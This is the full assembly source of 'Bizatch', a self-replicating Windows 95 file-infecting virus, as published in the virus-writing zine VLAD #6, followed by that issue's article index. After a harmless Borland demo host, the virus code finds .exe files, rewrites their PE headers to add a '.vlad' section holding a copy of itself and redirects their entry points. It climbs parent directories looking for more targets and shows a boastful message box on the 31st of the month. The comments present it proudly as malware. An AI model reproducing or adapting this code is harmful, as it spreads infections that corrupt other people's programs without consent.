Virus Labs & Distribution
VLAD #6 - Bizatch


;
; Bizatch by Quantum / VLAD
;
; Welcome to the world's first Windows 95 virus.
;
; It is a great honour for me to have written this virus as this
; is ground breaking stuff.  Windows 95 is a platform that was
; designed to be uninfectable, but Microsoft did not reckon with
; the awesome power of vlad.  As such, this virus will be used as
; a minor information service for vlad.  On the 31st of every month
; every infected exe will display a message box listing the members
; of the vlad possie from the old skool to the new.
;
; The following is a host program kindly contributed by Borland International.
; This example will put up a window and beep when the right mouse button
; is pressed.  When the left mouse button is pressed, it will increment
; the displayed 32-bit counter.
;
; Everything needed to assemble this code has been put in the file
; BIZATCH.ZIP
;
; A tutorial on Win95 virii is likely to be included in this issue of vlad.
;
;-----------------------------------------------------------------------------
; You might wanna skip over this and head straight for the virus code
; which is at line 350
;
.386
locals
jumps
.model flat,STDCALL
include win32.inc           ; some 32-bit constants and structures

L equ 

;
; Define the external functions we will be linking to
;
extrn            BeginPaint:PROC
extrn            CreateWindowExA:PROC
extrn            DefWindowProcA:PROC
extrn            DispatchMessageA:PROC
extrn            EndPaint:PROC
extrn            ExitProcess:PROC
extrn            FindWindowA:PROC
extrn            GetMessageA:PROC
extrn            GetModuleHandleA:PROC
extrn            GetStockObject:PROC
extrn            InvalidateRect:PROC
extrn            LoadCursorA:PROC
extrn            LoadIconA:PROC
extrn            MessageBeep:PROC
extrn            PostQuitMessage:PROC
extrn            RegisterClassA:PROC
extrn            ShowWindow:PROC
extrn            SetWindowPos:PROC
extrn            TextOutA:PROC
extrn            TranslateMessage:PROC
extrn            UpdateWindow:PROC

;
; for Unicode support, Win32 remaps some functions to either the Ansi or
; Wide char versions.  We will assume Ansi for this example.
;
CreateWindowEx   equ 
DefWindowProc    equ 
DispatchMessage  equ 
FindWindow       equ 
GetMessage       equ 
GetModuleHandle  equ 
LoadCursor       equ 
LoadIcon         equ 
MessageBox       equ 
RegisterClass    equ 
TextOut          equ 

.data
copyright        db 'VLAD inc - 1995, peace through superior virus power..',0

newhwnd          dd 0
lppaint          PAINTSTRUCT 
msg              MSGSTRUCT   
wc               WNDCLASS    
mbx_count        dd 0

hInst            dd 0

szTitleName      db 'Bizatch by Quantum / VLAD activated'
zero             db 0
szAlternate      db 'more than once',0
szClassName      db 'ASMCLASS32',0
szPaint          db 'Left Button pressed:'
s_num            db '00000000h times.',0
MSG_L EQU ($-offset szPaint)-1

.code
;-----------------------------------------------------------------------------
;
; This is where control is usually received from the loader.
;
start:

        push    L 0
        call    GetModuleHandle         ; get hmod (in eax)
        mov     [hInst], eax            ; hInstance is same as HMODULE
                                        ; in the Win32 world

        push    L 0
        push    offset szClassName
        call    FindWindow
        or      eax,eax
        jz      reg_class

        mov     [zero], ' '             ; space to modify title string

reg_class:
;
; initialize the WndClass structure
;
        mov     [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
        mov     [wc.clsLpfnWndProc], offset WndProc
        mov     [wc.clsCbClsExtra], 0
        mov     [wc.clsCbWndExtra], 0

        mov     eax, [hInst]
        mov     [wc.clsHInstance], eax

        push    L IDI_APPLICATION
        push    L 0
        call    LoadIcon
        mov     [wc.clsHIcon], eax

        push    L IDC_ARROW
        push    L 0
        call    LoadCursor
        mov     [wc.clsHCursor], eax

        mov     [wc.clsHbrBackground], COLOR_WINDOW + 1
        mov     dword ptr [wc.clsLpszMenuName], 0
        mov     dword ptr [wc.clsLpszClassName], offset szClassName

        push    offset wc
        call    RegisterClass

        push    L 0                      ; lpParam
        push    [hInst]                  ; hInstance
        push    L 0                      ; menu
        push    L 0                      ; parent hwnd
        push    L CW_USEDEFAULT          ; height
        push    L CW_USEDEFAULT          ; width
        push    L CW_USEDEFAULT          ; y
        push    L CW_USEDEFAULT          ; x
        push    L WS_OVERLAPPEDWINDOW    ; Style
        push    offset szTitleName       ; Title string
        push    offset szClassName       ; Class name
        push    L 0                      ; extra style

        call    CreateWindowEx

        mov     [newhwnd], eax

        push    L SW_SHOWNORMAL
        push    [newhwnd]
        call    ShowWindow

        push    [newhwnd]
        call    UpdateWindow

msg_loop:
        push    L 0
        push    L 0
        push    L 0
        push    offset msg
        call    GetMessage

        cmp     ax, 0
        je      end_loop

        push    offset msg
        call    TranslateMessage

        push    offset msg
        call    DispatchMessage

        jmp     msg_loop

end_loop:
        push    [msg.msWPARAM]
        call    ExitProcess

        ; we never get to here

;-----------------------------------------------------------------------------
WndProc          proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
;
; WARNING: Win32 requires that EBX, EDI, and ESI be preserved!  We comply
; with this by listing those regs after the 'uses' statement in the 'proc'
; line.  This allows the Assembler to save them for us.
;
        LOCAL   theDC:DWORD

        cmp     [wmsg], WM_DESTROY
        je      wmdestroy
        cmp     [wmsg], WM_RBUTTONDOWN
        je      wmrbuttondown
        cmp     [wmsg], WM_SIZE
        je      wmsize
        cmp     [wmsg], WM_CREATE
        je      wmcreate
        cmp     [wmsg], WM_LBUTTONDOWN
        je      wmlbuttondown
        cmp     [wmsg], WM_PAINT
        je      wmpaint
        cmp     [wmsg], WM_GETMINMAXINFO
        je      wmgetminmaxinfo


        jmp     defwndproc

wmpaint:
        push    offset lppaint
        push    [hwnd]
        call    BeginPaint
        mov     [theDC], eax

        mov     eax, [mbx_count]
        mov     edi, offset s_num
        call    HexWrite32

        push    L MSG_L           ; length of string
        push    offset szPaint    ; string
        push    L 5               ; y
        push    L 5               ; x
        push    [theDC]           ; the DC
        call    TextOut

        push    offset lppaint
        push    [hwnd]
        call    EndPaint

        mov     eax, 0
        jmp     finish

wmcreate:
        mov     eax, 0
        jmp     finish

defwndproc:
        push    [lparam]
        push    [wparam]
        push    [wmsg]
        push    [hwnd]
        call    DefWindowProc
        jmp     finish

wmdestroy:
        push    L 0
        call    PostQuitMessage
        mov     eax, 0
        jmp     finish

wmlbuttondown:
        inc     [mbx_count]

        push    L 0
        push    L 0
        push    [hwnd]
        call    InvalidateRect    ; repaint window

        mov     eax, 0
        jmp     finish

wmrbuttondown:
        push    L 0
        call    MessageBeep
        jmp     finish

wmsize:
        mov     eax, 0
        jmp     finish

wmgetminmaxinfo:

        mov     ebx, [lparam]  ; ptr to minmaxinfo struct
        mov     [(MINMAXINFO ptr ebx).mintrackposition_x] , 350
        mov     [(MINMAXINFO ptr ebx).mintrackposition_y] , 60
        mov     eax, 0
        jmp     finish

finish:
        ret
WndProc          endp
;-----------------------------------------------------------------------------
HexWrite8 proc
;
; AL has two hex digits that will be written to ES:EDI in ASCII form
;

        mov     ah, al
        and     al, 0fh
        shr     ah, 4
                                ; ah has MSD
                                ; al has LSD
        or      ax, 3030h
        xchg    al, ah
        cmp     ah, 39h
        ja      @@4
@@1:
        cmp     al, 39h
        ja      @@3
@@2:
        stosw
        ret
@@3:
        sub     al, 30h
        add     al, 'A' - 10
        jmp     @@2
@@4:
        sub     ah, 30h
        add     ah, 'A' - 10
        jmp     @@1
HexWrite8 endp
;-----------------------------------------------------------------------------
HexWrite16 proc
;
; AX has four hex digits in it that will be written to ES:EDI
;
        push    ax
        xchg    al,ah
        call    HexWrite8
        pop     ax
        call    HexWrite8
        ret
HexWrite16 endp
;-----------------------------------------------------------------------------
HexWrite32 proc
;
; EAX has eight hex digits in it that will be written to ES:EDI
;
        push    eax
        shr     eax, 16
        call    HexWrite16
        pop     eax
        call    HexWrite16
        ret
HexWrite32 endp
;-----------------------------------------------------------------------------
public WndProc
ends
;-----------------------------------------------------------------------------
;  Here is where the virus code begins.. this code is moved from exe to
;  exe.. the above is just a simple custom host.

vladseg segment para public 'vlad'
assume cs:vladseg
vstart:
call recalc
recalc:
pop ebp
mov eax,ebp                            ; calculate the address to the host
db 2dh
subme dd 30000h + (recalc - vstart)
push eax                               ; save it for l8r
sub ebp,offset recalc                  ; calculate the delta offset

mov eax,[ebp + offset kern2]           ; determine where the kernel is at
cmp dword ptr [eax],5350fc9ch
jnz notkern2
mov eax,[ebp + offset kern2]           ; here
jmp movit
notkern2:
mov eax,[ebp + offset kern1]           ; or here
cmp dword ptr [eax],5350fc9ch
jnz nopayload
mov eax,[ebp + offset kern1]
movit:
mov [ebp + offset kern],eax            ; save it for l8r use

cld                                    ; important
lea eax,[ebp + offset orgdir]
push eax
push 255
call GetCurDir                         ; save the current directory

mov byte ptr [ebp + offset countinfect],0 ; count the number we are infecting

infectdir:

lea eax,[ebp + offset win32_data_thang]
push eax
lea eax,[ebp + offset fname]
push eax
call FindFile                             ; search for first exe

mov dword ptr [ebp + offset searchhandle],eax   ; save the search handle
cmp eax,-1
jz foundnothing

gofile:

push 0
push dword ptr [ebp + offset fileattr]  ; FILE_ATTRIBUTE_NORMAL
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
lea eax,[ebp + offset fullname]
push eax
call CreateFile             ; open file in read/write mode

mov dword ptr [ebp + offset ahand],eax   ; save the handle
cmp eax,-1
jz findnextone

; goto the dword that stores the location of the pe header
push 0
push 0
push 3ch
push dword ptr [ebp + offset ahand]
call SetFilePointer

; read in the location of the pe header
push 0
lea eax,[ebp + offset bytesread]
push eax
push 4
lea eax,[ebp + offset peheaderoffset]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; goto the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; read in enuff to calculate the full size of the pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push 58h
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; make sure it is a pe header and is not already infected
cmp dword ptr [ebp + offset peheader],00004550h    ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
jz notape
cmp dword ptr [ebp + offset 52],4000000h
jz notape

; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; read in the whole pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; set the infection flag
mov word ptr [ebp + offset peheader + 4ch],0F00Dh

; locate offset of object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax

; calculate the offset of the last (null) object in the object table
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax

inc word ptr [ebp + offset numObj]    ; inc the number of objects

lea edi,[ebp + offset newobject]
xchg edi,esi

; calculate the Relative Virtual Address (RVA) of the new object
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset RVA],eax

; calculate the physical size of the new object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,vend-vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax

; calculate the virtual size of the new object
mov ecx,dword ptr [ebp + offset objalign]
mov eax,vend - vstart + 1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax

; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp + offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicaloffset],eax

; update the image size (the size in memory) of the file
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax

; copy the new object into the object table
mov ecx,10
rep movsd

; calculate the entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]

mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax

sub eax,ebx
add eax,5

; Set the value needed to return to the host
mov dword ptr [ebp + offset subme],eax

; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; write the pe header and object table to the file
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile

; increase the number of files infected
inc byte ptr [ebp + offset countinfect]

; move to the physical offset of the new object
push 0
push 0
push dword ptr [ebp + offset physicaloffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; write the virus code to the new object
push 0
lea eax,[ebp + offset bytesread]
push eax
push vend-vstart
lea eax,[ebp + offset vstart]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile

notape:

; close the file
push dword ptr [ebp + offset ahand]
call CloseFile

findnextone:

; have we infected 3 ?
cmp byte ptr [ebp + offset countinfect],3
jz outty

; no.. find the next file
lea eax,[ebp + offset win32_data_thang]
push eax
push dword ptr [ebp + offset searchhandle]
call FindNext

; is there a next ? yes.. infect it
or eax,eax
jnz gofile

foundnothing:

; no .. change dirs
xor eax,eax
lea edi,[ebp + offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp + offset tempdir1]
mov ecx,256/4
rep stosd

; get the current dir
lea esi,[ebp + offset tempdir]
push esi
push 255
call GetCurDir

; change into ".."
lea eax,[ebp + offset dotdot]
push eax
call SetCurDir

; get the current dir
lea edi,[ebp + offset tempdir1]
push edi
push 255
call GetCurDir

; if the dirs are the same then the ".." failed
mov ecx,256/4
rep cmpsd
jnz infectdir

outty:

; set the current dir back to the original
lea eax,[ebp + offset orgdir]
push eax
call SetCurDir

; get the current date and time and lots of other shit that no-one ever uses
lea eax,[ebp + offset systimestruct]
push eax
call GetTime

; if it's the 31st then do the payload
cmp word ptr [ebp + offset day],31
jnz nopayload

; display a message box to the user
push  1000h ; MB_SYSTEMMODAL
lea eax,[ebp + offset boxtitle]
push eax
lea eax,[ebp + offset boxmsg]
push eax
push 0
call MsgBox

nopayload:

; jump back to the host
pop eax
jmp eax

kern dd 0BFF93B95h       ; the value of the kernel will be shoved in here
kern1 dd 0BFF93B95h      ; the first possible value of the kernel
kern2 dd 0BFF93C1Dh      ; the second possible value of the kernel

GetCurDir:
push 0BFF77744h               ; push this value to get current dir
jmp [ebp + offset kern]

SetCurDir:
push 0BFF7771Dh               ; push this value to set current dir
jmp [ebp + offset kern]

GetTime:
cmp [ebp + offset kern],0BFF93B95h
jnz gettimekern2
push 0BFF9D0B6h    ; push this value if we're using kernel1 to get time/date
jmp [ebp + offset kern]
gettimekern2:
push 0BFF9D14eh    ; push this value if we're using kernel2 to get time/date
jmp [ebp + offset kern]

MsgBox:
push 0BFF638D9h    ; push this value to display a message box
jmp [ebp + offset kern]

FindFile:
push 0BFF77893h       ; push this value to find a file
jmp [ebp + offset kern]

FindNext:
push 0BFF778CBh       ; push this value to find the next file
jmp [ebp + offset kern]

CreateFile:
push 0BFF77817h       ; push this value to create/open a file (create handle)
jmp [ebp + offset kern]

SetFilePointer:
push 0BFF76FA0h       ; push this value to set the file pointer of a file
jmp [ebp + offset kern]

ReadFile:
push 0BFF75806h       ; push this value to read a file
jmp [ebp + offset kern]

WriteFile:
push 0BFF7580Dh       ; push this value to write to a file
jmp [ebp + offset kern]

CloseFile:
push 0BFF7BC72h       ; push this value to close a file
jmp [ebp + offset kern]

countinfect db 0           ; counts the infections

win32_data_thang:            ; used to search for files
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)

boxtitle db "Bizatch by Quantum / VLAD",0
boxmsg db "The taste of fame just got tastier!",0dh
       db "VLAD Australia does it again with the world's first Win95 Virus"
       db 0dh,0dh
       db 9,"From the old school to the new..               ",0dh,0dh
       db 9,"Metabolis",0dh
       db 9,"Qark",0dh
       db 9,"Darkman",0dh
       db 9,"Quantum",0dh
       db 9,"CoKe",0

messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db " written by Quantum of VLAD",0

orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
dotdot db "..",0

systimestruct:                 ; used to get the time/date
dw 0,0,0
day dw 0
dw 0,0,0,0

searchhandle dd 0            ; used in searches for files
fname db '*.exe',0           ; spec to search for
ahand dd 0                   ; handle of the file we open
peheaderoffset dd 0          ; stores the offset of the peheader in the file
ObjectTableoffset dd 0       ; stores the offset of the object table in memory
bytesread dd 0               ; number of bytes we just read/wrote from/to the file

newobject:                   ; the new object
oname db ".vlad",0,0,0
virtualsize    dd 0
RVA            dd 0
physicalsize   dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags    db 40h,0,0,0c0h

peheader:                ; essential data for infecting the pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
vend:
; space to read in the rest of the pe header and object table
; not actually written to the file but allocated by the object in post beta gen
db 1000h dup (0)
ends
end vstart



- VLAD #6 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Resist!
ARTICLE.2_2       IBM-AV
ARTICLE.2_3       MIME Disasm
ARTICLE.2_4       Dark Fiber Tunneling
ARTICLE.2_5       Bait Detection
ARTICLE.2_6       MCB Stealth
ARTICLE.2_7       RHINCE2

ARTICLE.3_1      

Win95 Intro
ARTICLE.3_2       Win95 tute
ARTICLE.3_3       PE header format
ARTICLE.3_4       Bizatch
ARTICLE.3_5       The Boza Situation
ARTICLE.3_6       Bizatch News
ARTICLE.3_7       What's Next ?

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Gilgamesh
ARTICLE.4_3       VIP
ARTICLE.4_4       SVL 1.2
ARTICLE.4_5       TFIWWB
ARTICLE.4_6       nimd00d3
ARTICLE.4_7       386 Virus

ARTICLE.5_1      

CLME Disasm
ARTICLE.5_2       Timber Wolf
ARTICLE.5_3       Serrelinda
ARTICLE.5_4       Insert v1.7
ARTICLE.5_5       Backwards
ARTICLE.5_6       TraceVir
ARTICLE.5_7       Lapis Lazuli

About VLAD - Links - Contact Us - Main